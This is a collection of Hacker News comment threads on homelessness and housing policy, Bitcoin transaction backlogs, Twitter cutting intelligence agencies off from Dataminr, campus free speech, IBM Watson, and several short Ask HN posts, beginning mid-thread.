Every county that does not comply will forfeit all funds from the federal
government--period. That is if we can get a president/congress really
interested in solving the problem?
As to the fear of crime and drug use in these designated areas--if there's a
problem police can always be called. I'm sure they can be dragged away from
revenue collection?
To the person I am replying to--apply to section 8 housing. It will be awhile,
but get on the list if it's even open? Hang in there. We do care! I think most
of us are in a state of denial? I do know this--I know too many homeless
former Programmers? This community should be discussing the problem?
~~~
Mz
_but right now every county should have a piece of land reserved for homeless
individuals. Just a place you can pitch a tent, access to out house, and
portable washing facilities_
There is no way in hell I would camp there.
FWIW, I was working on becoming an urban planner when life got in the way. My
incomplete bachelor's is in Environmental Resource Management with a
concentration in Housing and I took a class on Homelessness and Public Policy
as part of that. I was a subforum moderator and active participant for a time
on the world's foremost planning forum.
I will reiterate that changing a lot of government policies will have to
happen so that housing costs can come down. Right now, we have a lot of really
crappy policies that actively inflate housing sizes and prices and create a
growing divide between the haves and have nots.
_To the person I am replying to--apply to section 8 housing._
Yeah, that's not going to happen. I will suggest that people like you are part
of the problem. The only thing you know about me is that I am homeless, so you
think a one off suggestion from you can solve significant and complicated
problems. You are doing exactly what I described above: Assuming I am inept.
That will not help me. It will not help anyone. It only deepens the problem.
_We do care!_
There are people who genuinely do care. You aren't exactly coming across as
one of them.
~~~
powera
Why are you both saying "we need to work on putting together a better social
safety net and we need to work on making a whole lot more affordable housing
available" and dismissing Section 8 Housing, which, as far as I can tell from
a reading on Wikipedia, is a social safety net that provides affordable
housing? Is there something specifically wrong with Section 8?
~~~
Mz
Section 8 housing is rental housing. Like a high percentage of homeless
people, part of why I am on the street is that I have a serious medical
condition. I don't want to ever rent again. Having a high degree of control
over my home is necessary for me to stay healthy and off drugs. I would rather
remain homeless than give up my agency by entering a shelter or a government
program that sets a low bar for quality of life because they figure that
"beggars can't be choosers."
I am talking about a social safety net for _citizens_ that first and foremost
respects them as people with a right to choose and a right to expect a high
standard of living. Most American welfare programs are designed in a way that
is enormously disrespectful and expects people to accept some pretty crappy
things because in order to get help, you first need to be defined as _poor._
That's a terrible way to create a social safety net. Other countries have a
better track record of providing a safety net for their citizens that allows
them to access benefits while still middle class or regardless of their social
class. America is pretty bad about not doing anything for you until after you
are poor and then doing things that help keep your poor and actively
discourage upward mobility.
Edit: I have no idea why this has been downvoted, but my medical condition is
deadly and torturous. It is also incredibly expensive to treat with
conventional medicine, like $100k/year and up. Compared to that, sleeping in a
tent is a minor inconvenience. I have done much better since walking away from
a crappy, mold-infested apartment. So I have no plans to go back to renting.
Ever.
~~~
rifung
What do you propose to do instead of providing affordable rental housing? I
can't imagine it'd be practical to provide free housing after all.
I guess I'm just a little confused because you definitely sound like you have
a strong opinion on the matter and disagree with what other people think
should be done but don't really get into specifics about what you think should
be done.
It sounds like right now we have a safety social net for poor people, but you
don't think that's a good idea. Does this mean that you think we need a safety
social net for people who aren't poor as well? But if they aren't poor why
would they need one? Perhaps I'm "part of the problem" so do enlighten me.
Also, at least based off your situation, it seems like what we really need
isn't just affordable housing but treatment for those with mental illness.
Despite the fact that I actually have health insurance I'm still hesitant to
get treatment because it's so expensive.
~~~
slazaro
> Does this mean that you think we need a safety social net for people who
> aren't poor as well? But if they aren't poor why would they need one?
From what I've understood from threads like this, I think the idea is that
social services designed for people in need should not try to prove that the
person requesting actually needs it. It creates friction, and it's a waste of
resources (money, people, time), and some people that need the service might
not get it because the system fucks up every now and then.
If you'd open it up to whoever asked for it, people in need would naturally
request it and get it, and people that don't wouldn't. If someone abused the
system (and this is the big assumption IMO), the amount lost would probably be
lower than what would have been spent trying to enforce requirements. So you'd
solve the false negatives and would also spend less, and the system would be
simpler.
Of course, I don't know much about this, this is what I've gathered from
reading around.
~~~
Mz
From years of study and first-hand experience, defining "need" based on
something _other than_ income is far more effective in helping people attain
and keep a middle class lifestyle. Requiring people to first be able to meet a
definition of poverty helps encourage people to fail and actively creates
barriers to escaping poverty.
So, for example:
Affordable, good quality health care for all.
Price breaks on public transit passes for people who are handicapped (this
actually exists and I think is a good example of something helpful).
Functioning public transit systems that give people options other than owning
a car for how to get around.
An abundance of affordable, decent housing -- where "affordable" is not a code
word for _slum housing_ but honestly just means the price is not out of reach
of average folks with ordinary jobs. Lack of affordable housing is such a
problem in some places that police, teachers and so on often cannot afford to
live in the communities they serve. These are not people who are incompetent
and looking for a handout, yet some communities have to set up special
programs to help them buy a house or live reasonably close to work because our
housing policies are so horribly broken.
Maternity leave and other policies that help women get and keep jobs and
pursue real careers. I read a lot about this in my twenties. In America, women
pursued the American historical position of "Don't tread on me!" and took the
position that "I can too do the job if you just get the fuck out of my way."
The result is that women who are without a man and without children make about
98% of what men make who have similar education and experience. But the minute
you introduce a man or a child into the picture, American women make more like
2/3s what men make -- the same figure cited in the bible as what women were
worth compared to men 2000-ish years ago. In contrast, European women have
pushed for help in carrying the burden of bearing and raising kids and the
result has been substantially more gains in terms of closing the wage gap and
overall lower divorce rates.
The things you are suggesting are problematic because it actively
disincentivizes working. I am not for just free handouts for poor people. I am
for fixing the system so it stops actively creating problems and pushing folks
off a cliff and then blaming them when their life falls apart and they can't
figure out how to get it back together.
~~~
slazaro
What are your thoughts on basic income?
~~~
Mz
I strongly suspect it is a recipe for disaster and have written about that
here: [http://micheleincalifornia.blogspot.com/2014/09/nightmare-
fu...](http://micheleincalifornia.blogspot.com/2014/09/nightmare-fuel-world-
of-nothing-but.html)
------
huuu
Serious question: am I right when I think the first thing homeless people need
is a place[1] to call their private home?
[1] tent, cabin, whatever provides enough shelter.
Edit: note the 'private'. Some people think shelter is enough. But I think you
might need to have a private space to get your head straight.
~~~
steveklabnik
On the surface, sure. Homelessness is the lack of a home, so giving someone
who is homeless a home 'fixes' it.
But, as you seem to suspect, it's not that simple. There's an underlying
reason for why that particular individual does not have a home in the first
place, and that needs to be addressed to truly fix the problem. See Mz's
comments in the rest of the thread for one example. Another is that there is a
_high_ amount of correlation between homelessness and mental illness (in the
States, anyway), and is a result of a lack of care in that area.
------
hitlerwasright
>is homeless, complains about the adversity, wants to go to college to make a
better life
>studies fine arts
yep. sure is modern society
------
lowbloodsugar
Did Cleveland State make improvements to justify a tripling of tuition or did
something else happen?
~~~
steveklabnik
I can't tell you about that college specifically, but my tuition doubled over
the course of my education, from 2004 -> 2009\. No major changes, really, and
in fact, the CS department was basically dying.
Personal theory: it became easier to get loans, and schools know that students
aren't exactly price sensitive. What's the difference between $2k and $4k a
semester when you're paying it off years later anyway?
(Turns out, a lot, but not when every single influence in the world is
_screaming_ that if you don't go to college, you're a failure.)
------
kumarski
Hells yeah for chutzpah and grit.
| {
"pile_set_name": "HackerNews"
} |
Bitcoin is at over 43K unconfirmed transactions - snitko
https://www.reddit.com/r/Bitcoin/comments/59e9su/bitcoin_is_43716_unconfirmed_transactions/
======
totalZero
I like the idea of cryptocurrency, but I have some doubts about the longevity
of Bitcoin. As Bitcoin grows, there is a greater need for mining. However, as
Bitcoin grows, the returns for mining diminish.
~~~
zachlatta
The idea is that Bitcoin will become more valuable as it grows because of
deflation.
~~~
fortytw2
That would be the idea, but the value of 1 bitcoin is still subject to heavy
day-day fluctuation, so I'm unsure if deflation/inflation are relevant wrt.
Bitcoin today (or in the next few years).
Simply news that transactions are taking hours to confirm is probably enough
to influence the price a significant amount.
~~~
alkonaut
I realize there is a lot of politics etc involved - but would it be
technically feasible to just drastically improve the performance? Could
bitcoin be changed into a system that could e.g. handle the scale and
throughput of some of the non-cryptocurrency money transfer systems (e.g.
10million transactions/day)?
If not - is there something fundamental about cryptocurrencies that limits
their throughput or could another system be scaling much better than Bitcoin?
E.g. does a cryptocurrency always need proof-of-work and does that always need
to be time consmuing?
~~~
Taek
Uh, I definitely don't mean to be offensive at all but your question is very
naive.
The short answer is that a lot of engineering effort has gone into improving
performance and today's Bitcoin is already enjoying those benefits.
The long answer is an entire field of research. There are fundamental things
about cryptocurrency that means global throughput is very low and also high
latency.
The hard part is the decentralization. If you can delegate trust to a small
handful of entities, it's much easier to get scaling.
~~~
alkonaut
No offense.
My question was really e.g. _are there newer "generations" of cryptocurrencies
that have worked around some of the problems Bitcoin has with eg. scaling_?
mostly interesting wrt. whether Bitcoin will survive or be superceded by
something else.
~~~
Taek
There are newer currencies that claim to have solved the problem. But the vast
majority of them do not understand the problems that Bitcoin is trying to
solve, and make security tradeoffs that would be considered unacceptable in
the Bitcoin ecosystem.
Those that show promise are yet-incomplete. Most don't provide practical
scaling benefits greater than 5x, not a strong number considering the amount
of scaling we'd like to see is closer to 10,000x.
------
delegate
Would it be possible for someone to deliver the 'death blow' to Bitcoin right
now, by DDOS-ing the network or flooding it with even more transactions,
including invalid ones ?
~~~
ianpurton
Not really.
Invalid transaction wouldn't get propagated so you'd need valid ones and they
cost money.
So an attack has a cost per hour and this cost is pretty high.
~~~
pjc50
Only _confirmed_ transactions cost money. So in theory you could send each
miner a different double-spend, which they'd have to hang on to until either
they confirmed it or received a contradictory confirmed transaction.
~~~
csomar
You can't really send a different double-spend to each miner. In my
experience, the transaction will be propagated in 1-3 seconds. Each miner will
pick the one it prefers (some prefer first seen, some prefer highest fee)
------
chj
Perhaps block chain should accept only hashes of a set of transactions without
restricting the set size, and store the actual transaction data elsewhere.
This can increase the bandwidth, but will it become less secure, I don't
know..
~~~
longwave
This is the idea behind Lightning Network:
[https://lightning.network/](https://lightning.network/)
~~~
AndrewDucker
How's things going with Lightning? It looks like an excellent idea - but is it
making any progress towards actual implementation?
~~~
Taek
It's making significant progress. The optimists think it'll be ready by
January.
I'm expecting it to be ready closer to June 2017.
------
akerro
Bitcoin confirmation time unchanged in 10 months
[https://blockchain.info/charts/median-confirmation-
time?scal...](https://blockchain.info/charts/median-confirmation-
time?scale=1&daysAverageString=7)
[https://www.reddit.com/r/Bitcoin/comments/59fnry/omg_bitcoin...](https://www.reddit.com/r/Bitcoin/comments/59fnry/omg_bitcoin_confirmation_time_unchanged_in_10/)
~~~
mootothemax
> Bitcoin confirmation time unchanged in 10 months
That's the problem with logarithmic scales; it's easy to make one that looks
like it's showing something different.
Try taking a look at average and median times when the scale is flipped to
linear:
[https://blockchain.info/charts/median-confirmation-
time?days...](https://blockchain.info/charts/median-confirmation-
time?daysAverageString=7)
[https://blockchain.info/charts/avg-confirmation-
time?daysAve...](https://blockchain.info/charts/avg-confirmation-
time?daysAverageString=7)
Both highlight quite a spike in recent days.
~~~
e98cuenc
By "quite a spike" you mean a change from 8 min to 10 min in a value with a
relatively high variance? That's a slight increase at best, and nothing here
suggest anything else than the null hypothesis.
~~~
mootothemax
>By "quite a spike" you mean a change from 8 min to 10 min in a value with a
relatively high variance?
Please don't put words in my mouth.
------
rms_returns
Well, if you query the state, you are bound to get quite a few unconfirmed
number at any given time. But they EVENTUALLY do confirm, whether its 10, 15
or 30 minutes at most.
~~~
jbb555
I've had transactions waiting for 8 hours now for a confimation. And some more
new ones this morning for 3 hours now without a single confirmation.
All of these contains the default fees added by the clients and which were
sufficient last month.
I was trying to demonstrate bitcoin to some friends last night. They made
wallets and I tried to transfer some coin to them. After an hour they were
saying it would have been quicker to drive to the ATM and get cash. I doubt
they'll look at bitcoin again now.
This needs fixing and this needs fixing quickly. Waiting half an hour for a
few confirmations used to be a problem that needed fixing. Waiting hours will
quickly kill bitcoin.
------
throwaway761hh
Increase your transaction fees, get them confirmed faster.
[https://bitcoinfees.21.co/](https://bitcoinfees.21.co/)
~~~
joosters
...because every user knows the satoshis/byte ratio of their transaction,
right?
And even if they did, we'd even up with a backlog of the same transactions,
all paying higher fees. Bitcoin is barely managing 2 transactions/second at
the moment, higher fees won't speed this up.
~~~
ereli1
if the fee would be higher on average, do you think that'll attract CPU power
from other cryptocurrencies networks?
~~~
joosters
No, the fees are still insignificant compared to the block reward.
------
akerro
Is it possible to setup mining pool that would do only confirmations?
~~~
rlpb
That's what a mining pool is. There is no other type of mining pool.
The purpose of mining is to find valid blocks to add to the blockchain. A
transaction is "confirmed" when it is part of a block in a blockchain that has
some number of blocks after it. The number of blocks after it is the number of
confirmations the transaction is considered to have.
~~~
akerro
Don't mining pools concentrate on mining new blocks, as it's more profitable?
Can't we have a mining pool with old ASIC/GPU miner that would do ONLY
confirmations, and would do all confirmations, even those with minimal fee?
~~~
AndrewDucker
Transactions are confirmed through the mining of new blocks. There is no other
way to confirm transactions, and it's the purpose of block-mining.
~~~
akerro
Ah, ok thanks. SO the only way to fix it is by deploying new miners.
~~~
alemhnan
If you deploy more miners the average difficult to mine each block will
increase (as for the bitcoin rules) so you are back to square one.
~~~
akerro
Yup, I expected this.
~~~
josu
The way to fix this is increasing the size of the blocks, which is trivial
from a technical standpoint, but it has some implications that the current
majority of miners are not willing to accept.
------
ianpurton
I'm not sure where this came from as I can see transactions going through just
fine. Perhaps they have no fee.
------
qwertyuiop924
But how, though? Blocksize limits?
------
dan1234
The actual link should probably be:
[https://www.reddit.com/r/Bitcoin/comments/59e9su/bitcoin_is_...](https://www.reddit.com/r/Bitcoin/comments/59e9su/bitcoin_is_43716_unconfirmed_transactions/)
~~~
mSparks
I wonder if this is rand corp finding a chink in the armour.
Increasing block size will only postpone the problem and splitting the network
will introduce a whole raft of unknown vulnerabilities.
At a minimum it seems like a fairly cheap and easy dos attack vector.
~~~
qwertyuiop924
That's not what the XT folk think, and they've got some of the most prominent
bitcoin develpers behind them.
------
joosters
Currency of the future! /s
| {
"pile_set_name": "HackerNews"
} |
Twitter Bars Intelligence Agencies from Using Analytics Service - bootload
http://www.wsj.com/articles/twitter-bars-intelligence-agencies-from-using-analytics-service-1462751682?mod=e2tw
======
npx
I'm not convinced that the goal here is actually to obstruct intelligence
agencies, I think they'd just use a shell company or flatly demand access if
they wanted it. As far as I'm aware, the Library of Congress is archiving all
tweets.
It feels like a cheap way to generate press portraying Twitter as a staunch
defender of liberty. I'm not sold.
~~~
StanislavPetrov
Couldn't agree more. In addition to that, the NSA (among other government
organizations) sniffs and logs all internet (including Twitter) traffic. Given
the unlimited resources of the government to sift, sort, and mine this data
(thanks to our taxpayer dollars) it wouldn't be at all surprising if they
didn't already construct a superior, parallel analytic system unconstrained by
any of the regulations or financial restrictions faced by Twitter.
~~~
awinograd
This is a ridiculous claim. The government doesn't have the resources to
monitor the entirety of the Internet.
~~~
StanislavPetrov
Where have you been for the last few years? What resources exactly do you
think they lack? Why do you think the NSA just built a 1,000,000 square foot
data center in Utah?
[https://nsa.gov1.info/utah-data-center/](https://nsa.gov1.info/utah-data-
center/)
[http://arstechnica.com/information-
technology/2013/08/buildi...](http://arstechnica.com/information-
technology/2013/08/building-a-panopticon-the-evolution-of-the-nsas-xkeyscore/)
[https://en.wikipedia.org/wiki/Global_surveillance_disclosure...](https://en.wikipedia.org/wiki/Global_surveillance_disclosures_%282013%E2%80%93present%29)
~~~
winteriscoming
> [https://nsa.gov1.info/utah-data-center/](https://nsa.gov1.info/utah-data-
> center/)
FWIW - That's a parody site. However, that's not to disclaim that the Utah
data center isn't being built.
~~~
Forbo
It was completed in September of 2014.
------
ErikAugust
Full article was behind a paywall, but:
The subheadline here is actually: "Social media firm cuts access to Dataminr,
a service used to identify unfolding terror attacks, political unrest"
So, Dataminr is a startup that had the firehose to do that kind of analysis.
All this could be is them putting a company that is built on top of Twitter
out of business. They have done this plenty of times. Seems pretty heavily
spun to make it sound like they are taking some sort of moral high ground.
~~~
nemothekid
Very odd that this is branded as cutting off intelligence agencies then - this
seems more like they are cutting off another company from the firehose like
they did to DataSift when they acquired Ginp.
Dataminr didn't provide access to the firehose, iirc, but had a really good
event detection product. I had actually heard of them because I heard CNN was
a very happy user of the product.
EDIT: > _The move doesn’t affect Dataminr’s service to financial industry,
news media or other clients outside the intelligence community. The Wall
Street Journal is involved in a trial of Dataminr’s news product._
Read the article, and it seems media companies still have access. I guess
Twitter is telling another company who their customers can and can't be.
~~~
ErikAugust
Right - maybe just re-cut the government deals with itself down the line.
------
spenvo
> Twitter said it has a long-standing policy barring third parties, including
> Dataminr, from selling its data to a government agency for surveillance
> purposes. The company wouldn’t comment on how Dataminr—a close business
> partner—was able to provide its service to the government for two years, or
> why that arrangement came to an end.
So why was the exception made to this policy?
> In-Q-Tel, a venture-capital arm of the U.S. intelligence community, has been
> investing in data-mining companies to beef up the government’s ability to
> sort through massive amounts of information. In-Q-Tel, for example, has
> invested in data-mining firms Palantir Technologies Inc. and Recorded Future
> Inc.
> U.S. intelligence agencies gained access to Dataminr’s service after an In-
> Q-Tel investment in the firm, according to a person familiar with the
> matter.
> When a pilot program arranged by In-Q-Tel ended recently, Twitter told
> Dataminr it didn’t want to continue the relationship with intelligence
> agencies, this person said.
VC funds led by US agencies that operate on a quasi-legal and opaque basis is
the worst form of crony capitalism
Open version of the article [http://www.wsj.com/article_email/twitter-bars-
intelligence-a...](http://www.wsj.com/article_email/twitter-bars-intelligence-
agencies-from-using-analytics-service-1462751682-lMyQjAxMTE2MzAwODUwNzgzWj)
~~~
misiti3780
coming from someone who worked as a govt consultant, In-Q-tel is a scary
entity
~~~
chillacy
How so? I've pitched them in the past. They behaved like a VC firm with
government interests.
~~~
MacsHeadroom
>a VC firm with government interests
That right there. That's the scary part.
~~~
jonnybgood
And why is that scary?
~~~
ourcat
Maybe because their motives are purely financial, rather than what's good for
the rights of the people?
~~~
stevehawk
The only thing your comment right there proved is that you don't know what
you're talking about.
They don't operate on a financial motivation. They have literally no
requirement to do so. What they do is identify commercial products that
any/all of the federal government may be interested in using and fund it if
possible, or at least try to fund partial features.
For example, Google Earth was funded by In-Q-Tel long before Google bought the
product. In fact, many startups use In-Q-Tel funding as a badge of honor when
pitching to VCs later on, as it shows a potential revenue source given the
existing financial commitment.
~~~
ourcat
Have you ever taken institutional funds for any projects you founded? I did.
It's ugly. And driven by pure financial greed. Sucking the soul from the
original intent. The same financial greed currently eating the world and
ruining people's lives. Sorry. Am I not allowed an opinion?
The only thing your reply right there proved is that you don't know me at all.
I'm also aware of the government/defence dept. backing of the foundations of
the internet itself. Thanks.
------
aioprisan
Is this any more than a way for Twitter to claim the moral high ground while
having no actual impact on what these agencies do or if/how they use Twitter's
data?
At the very least they'll use a company like Palantir. Is a third party's use
similarly regulated, so that Palantir couldn't simply relay that data
themselves?
If not, then this was clearly not thought out (unlikely) or it's been thought
out but a choice was made to still allow for that use case (more likely).
~~~
jomamaxx
It is not 'taking the moral high ground' to stop intelligent agencies from
dutifully doing their jobs of protecting our safety and interests, so long as
this is actually the case.
I suggest were you to have the opportunity to sit in on Mr. Obama's daily
security briefings, you might have your eyes widened as to the scope of the
violence that threatens us.
In Canada, where I live, our young Prime Minister had a rather negative tone
about such things during the election, but the moment he was elected, and had
visibility into the actual goings on, he changed his tune pretty quickly and
the bills he was supposed to quash will remain intact.
Of course, lazy policemen wanting Twitter to do their work for them
notwithstanding.
------
Aelinsaar
Will this in any way actually impede intelligence agencies from getting that
information if they want it?
~~~
samstave
This is a great question!
Facebook on the other hand built a Washington DC office and hires ex-secret
service people as a matter of course.
This should be the number one reason people should drop using FB.... But
everyone is already fucked. You have no privacy, again, ever.
~~~
flyt
I downvoted your comment but please keep in mind that Facebook is a large
company that needs to lobby the federal government on a variety of issues,
which necessitates a presence in DC.
Also, the Secret Service employs some of the smartest and most capable people
in the federal government. Any company is lucky to hire ex-USSS agents.
Using these two points as evidence that humanity collectively has "no privacy"
is not only false on the surface but dishonest when closely examined. There
are valid critiques of both the US Government's use of the Internet and,
separately, Facebook, but these two are not intellectually honest.
~~~
ZanyProgrammer
"Also, the Secret Service employs some of the smartest and most capable people
in the federal government"-the plethora of stories in the past several years
about the SS fucking up on many, many levels would indicate that they probably
hire mediocre, middle of the road candidates (at most). They aren't
superhuman, or caricatures from a Tom Clancy novel.
------
awalton
So Palantir's business gets better?
What about any of a thousand front companies these Intelligence Agencies run
for plausible deniability purposes?
This move does pretty much nothing.
------
chrissnell
Weren't Twitter's employees being threatened by ISIS? If my employees were
being threatened by a transnational terrorist group, I wouldn't hesitate at
providing firehose-style data to a gov't agency, especially considering these
are public tweets that we're talking about here.
------
ikeboy
[https://archive.is/Tr7Xg](https://archive.is/Tr7Xg)
------
throwaway99998
This accomplishes nothing. Palantir provides this same service on top of GNIP
data. Here's a live demo from one of Palantir's own conferences:
[https://youtu.be/h2NA48iypME?t=559](https://youtu.be/h2NA48iypME?t=559)
~~~
nl
You need to supply your own Gnip subscription to use this though.
------
kabdib
Twitter must be such a popular target for the Intelligence crowd that I wonder
how the heck they coordinate all those NSLs and whatnot. Is there a clearing
house in the USG that handles that?
"Look, that's like the fifteenth request for the 'Whole Banana' this week.
We're gonna have to --"
(telephone murmurs)
" _Fine_ , so you have a nosebleed level pay grade. _Sir_. But there's more
Twitter bandwidth going to you folks in DC than there is to all of the /real/
users of Twitter. It's embarrassing. Why can't you just go down the street and
ask the CIA?"
(angry murmurs)
"Or the FBI. I hear they have a special on faking evidence with parallel
reconstruction this week. Want the promo code?"
------
beshrkayali
What is this, a joke? As if any intelligence agency would request access to
Twitter analytics service under official intelligence agency business name...
------
crusso
Shouldn't HN have a policy against posting articles that are behind a paywall?
Yes, I know that you can jump to google and search for the article to try to
avoid the paywall - but shouldn't a news aggregator make a statement about
letting paywalled news sources be on their own?
~~~
ikeboy
[https://news.ycombinator.com/newsfaq.html](https://news.ycombinator.com/newsfaq.html)
------
hawleyal
Mirror
[http://www.wsj.com/article_email/twitter-bars-
intelligence-a...](http://www.wsj.com/article_email/twitter-bars-intelligence-
agencies-from-using-analytics-service-1462751682-lMyQjAxMTE2MzAwODUwNzgzWj)
------
known
Not plausible due to
[https://en.wikipedia.org/wiki/National_security_letter](https://en.wikipedia.org/wiki/National_security_letter)
------
neurobuddha
Twitter is infamous for censorship and shadowbanning non-politically correct
views. Lately they have been suppressing Bernie Sanders supporters[1] and
anti-Hillary activists[2].
Twitter is a truly two-faced Orwellian enterprise that is completely in the
back pocket of Big Brother.
[1] [https://www.change.org/p/petition-request-twitter-not-to-
sup...](https://www.change.org/p/petition-request-twitter-not-to-suppress-
bernie-sanders-activists-on-its-social-media-platform)
[2] [http://www.vocativ.com/290811/twitter-accused-of-
censoring-a...](http://www.vocativ.com/290811/twitter-accused-of-censoring-
anti-hillary-hashtag/)
------
gamebak
Why do you people upvote articles where we have to pay to read them ?
~~~
vog
It's okay if there are workarounds for the paywall. From the HN FAQ:
_> Are paywalls ok?_
_> It's ok to post stories from sites with paywalls that have workarounds._
_> In comments, it's ok to ask how to read an article and to help other users
do so. But please don't post complaints about paywalls. Those are off topic._
~~~
kuschku
But there is no workaround for the paywall that works outside the US.
~~~
vog
I live in Germany and the web search workaround (click on "web" link below
title) worked perfectly for me.
~~~
kuschku
I live in Germany and the web search workaround only gives me the paywalled
article again.
~~~
vog
Do you have a privacy browser extension which suppresses the Referer header?
(which is really all this workaround is about)
------
ManlyBread
This is a PR move, they won't be able to stop them completely.
------
deadtofu
Anyone have a non-paywalled link?
~~~
marksomnian
Try [http://www.wsj.com/article_email/twitter-bars-
intelligence-a...](http://www.wsj.com/article_email/twitter-bars-intelligence-
agencies-from-using-analytics-service-1462751682-lMyQjAxMTE2MzAwODUwNzgzWj)
------
gesman
...ok ... How much?
| {
"pile_set_name": "HackerNews"
} |
The Diary of Samuel Pepys - jimsojim
http://www.pepysdiary.com/
======
a3n
I have tried to keep a diary, or journal, in the past. Because, well, "you
should." The average day would be "nothing to say." So I quit multiple times,
and now I've quit starting.
But I wonder, if I have nothing to say, does that say something about my life?
If the unexamined life is not worth living, is the unexaminable life even less
so?
| {
"pile_set_name": "HackerNews"
} |
Ask HN: How to learn Java and Scala as Python Dev quickly (48 to 72 hours)? - ugenetics
Hi HN,
I know python good enough to write working programs. I haven't had chance to work on functional programming or collections , but CRUD app, database interactions, ETL is kind of work I have done.<p>I want to learn Java and Scala. I am little familiar with Java such as basic concept of class, object, main function, compiling programs , I know about inheritance and polymorphism but not good enough to write programs.<p>I want to learn about Java and start writing workable programs. Where should I start? I want to be able to write workable programs in next 48 hours or I will be disappointed with myself with everything else going on.<p>Same goes for Scala. I started learning it from twitter tutorial but left in between. At this I only remember I used sbt for development.<p>I am 29 and I don't know Java or Scala is such a shame.<p>Let me know if you know or have link to any good resources.<p>Thanks.
======
gamechangr
I'm a little confused. Are you asking how to learn Java in 72 hours or have
you been developing the last 3 years "mostly writing code in Java".
Your previous comments say that......(132 days ago).....
>"Beyond CRUD and ETL – How to Grow Professionally?
Since last 3 years I have been working with Big Data applications on Hadoop
platform mostly writing code in Java and using abstract language/platform such
as Pig, Spark , RedShift , Hive.">
~~~
ugenetics
Sorry, I was not clear. I want to learn java enough to write working code in
next 72 hours. I know python and how to write programs.
About my comment ( 132 days ago ) - I meant Python and not Java. It must have
been competing thoughts or something I was discussing with someone and wrote
incorrectly without proofreading.
~~~
gamechangr
That makes more sense (Python not Java) with the other technologies you
mentioned.
Writing "working code" in Java in 3 days is extremely ambitious, unless by
working code you mean some version of "Hello World."
There are solid developers (who if for some reason had no exposure to Java)
who would have trouble writing "working code" in three weeks. Again..if
working code was something commercial.
I guess it really matters how you define working code.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: What are the long-run implications of Watson's technology? - wesleyzhao
How are normal consumers going to see this type of technology (if at all) in the future? What are the possibilities?
======
pzxc
Natural language is an artifact of human communication, so the most obvious
application is human interaction. Eventually (who knows how long it will be),
you may be talking to a Watson descendant for most interactions with
businesses -- everything from requesting online help on a website to ordering
your cheeseburger at McDonald's.
"A Big Mac? Wouldn't you like a nice order of Global Thermonuclear War
instead?"
Like Ken Jennings and Kent Brokman, I too welcome our new (computer)
overlords. Bring it on, Skynet.
~~~
wesleyzhao
You see only an application for Businesses? I am really interested in seeing
what it could end up doing for the average household.
------
mindcrime
Take the Red pill, dude.
All joking aside, I think the long-term implications are closer to the
computer on Star Trek than to the Matrix or Skynet. Better natural language
understanding and information retrieval should make it easier to ask a
computer to find information for us and do tasks for us. I don't think any of
this has much to do with the computer become self-aware and deciding that it
should take control of mankind's future...
~~~
wesleyzhao
I really see this! Just basically an interactive Computer for the average Mom
who needs to know something. Home automation is the future.
------
motters
I doubt that there will be many, if any, implications. As a narrow AI system
Watson is unlikely to have wider applicability or scalability. It's the
classic dilemma of narrow AI.
People asked similar questions after the famous Kasparov defeat to Deep Blue.
That event did have implications for chess players, but not much beyond that.
~~~
wesleyzhao
I think its also a little narrow to think its just narrow AI. There is
definitely potential for Watson for the avg consumer.
| {
"pile_set_name": "HackerNews"
} |
Show HN:MusicaLibre - a quickly hacked SoundCloud free-for-commerce music player - runn1ng
http://karelbilek.com/musicalibre/
======
runn1ng
I will add I made this as a part of larger Czech Pirate Party campaign that
teaches business owners how to play free music and not to pay the copyright
monopoly extortion money. But I already like it so much I am putting it here.
Also it's not a nice piece of code, but hey, I did it during one night.
| {
"pile_set_name": "HackerNews"
} |
New York Fed open sources their GDP growth forecasting model, Nowcasting - avyfain
https://github.com/FRBNY-TimeSeriesAnalysis/Nowcasting
======
avyfain
Associated blog post:
[http://libertystreeteconomics.newyorkfed.org/2018/08/opening...](http://libertystreeteconomics.newyorkfed.org/2018/08/opening-
the-toolbox-the-nowcasting-code-on-github.html)
| {
"pile_set_name": "HackerNews"
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Diversity and the Death of Free Speech - andrenth
https://spectator.org/diversity-and-the-death-of-free-speech/
======
bediger4000
" There was a time, not that long ago, when college students were encouraged
to expand their minds further."
It would be helpful if Mr Glynn put a closer bracket of dates around this.
While trying to figure out if this statement is true, I came across the
Wikipedia page on the "Free Speech Movement"
([https://en.wikipedia.org/wiki/Free_Speech_Movement](https://en.wikipedia.org/wiki/Free_Speech_Movement)).
"Students insisted that the university administration lift the ban of on-
campus political activities and acknowledge the students' right to free speech
and academic freedom.". I guess "not too long ago" was after 1965, because
apparently before that, it was common for college campuses to ban political
speech and activity. I assume that UCB was, as always, a fore-runner, and that
most campuses had such bans until much later.
I think we can all agree that "not too long ago" means some time before 2008,
when Obama was elected. So we can bracket this utopia of free speech to
between 1965 - 2008. Before 1965, it appears that it was typical to ban all
political speech. With that bracket in mind, ask yourself if Mr Glynn's essay
makes any sense at all, or if it's an exercise in wishful thinking.
I'm eager for evidence to tighten these brackets further. I vaguely recall
that some campuses were considered bastions of conservatism on into the 1960s,
but I can't find any references easily. I'd love to see something about that.
~~~
raarts
I've been following the free speech issue on universities for almost a year
now, and I think the 2008 may be on the mark, though the first well known
incident I can name is the Lawrence Summers controversy in 2005 [1].
The free speech issue is mainly a talking point of conservatives because these
are the ones most impacted. Students complain about being afraid to voice
their opinions for fear of being ostracized or punished on grades.
It's enlightening to read through a few issues of The College Fix [2].
Relevant interesting book is The Coddling Of The American Mind by Jonathan
Haidt and Greg Luka off.
But it gets really entertaining when you watch some youtube videos on this
subject, for example the great, 3-part, documentary[3] by Mike Nayna.
[1]
[https://en.m.wikipedia.org/wiki/Lawrence_Summers](https://en.m.wikipedia.org/wiki/Lawrence_Summers)
[2] [https://www.thecollegefix.com/](https://www.thecollegefix.com/)
[3] [https://youtu.be/FH2WeWgcSMk](https://youtu.be/FH2WeWgcSMk)
EDIT: and just after I wrote this, a research paper popped up, about army
veterans going back to college and experiencing culture shock:
[https://www.tandfonline.com/doi/full/10.1080/17475759.2019.1...](https://www.tandfonline.com/doi/full/10.1080/17475759.2019.1592770?utm_source=share&utm_medium=ios_app)
~~~
vangelis
As they say, conservative orthodoxy is the new punk rock.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: I'm trying to find a game posted on here. - newuserone
It's an iPhone app, if I remember correctly. There's a "runner" and you move right jumping from roof to roof. If you fall into the gap between roofs you die.<p>What's the name of it?
======
jon914
I think you're talking about Canabalt by AdamAtomic.
This is a link to the original Flash version, but he ported it to iPhone too.
<http://www.adamatomic.com/canabalt/>
------
lotusleaf1987
Canabalt?
| {
"pile_set_name": "HackerNews"
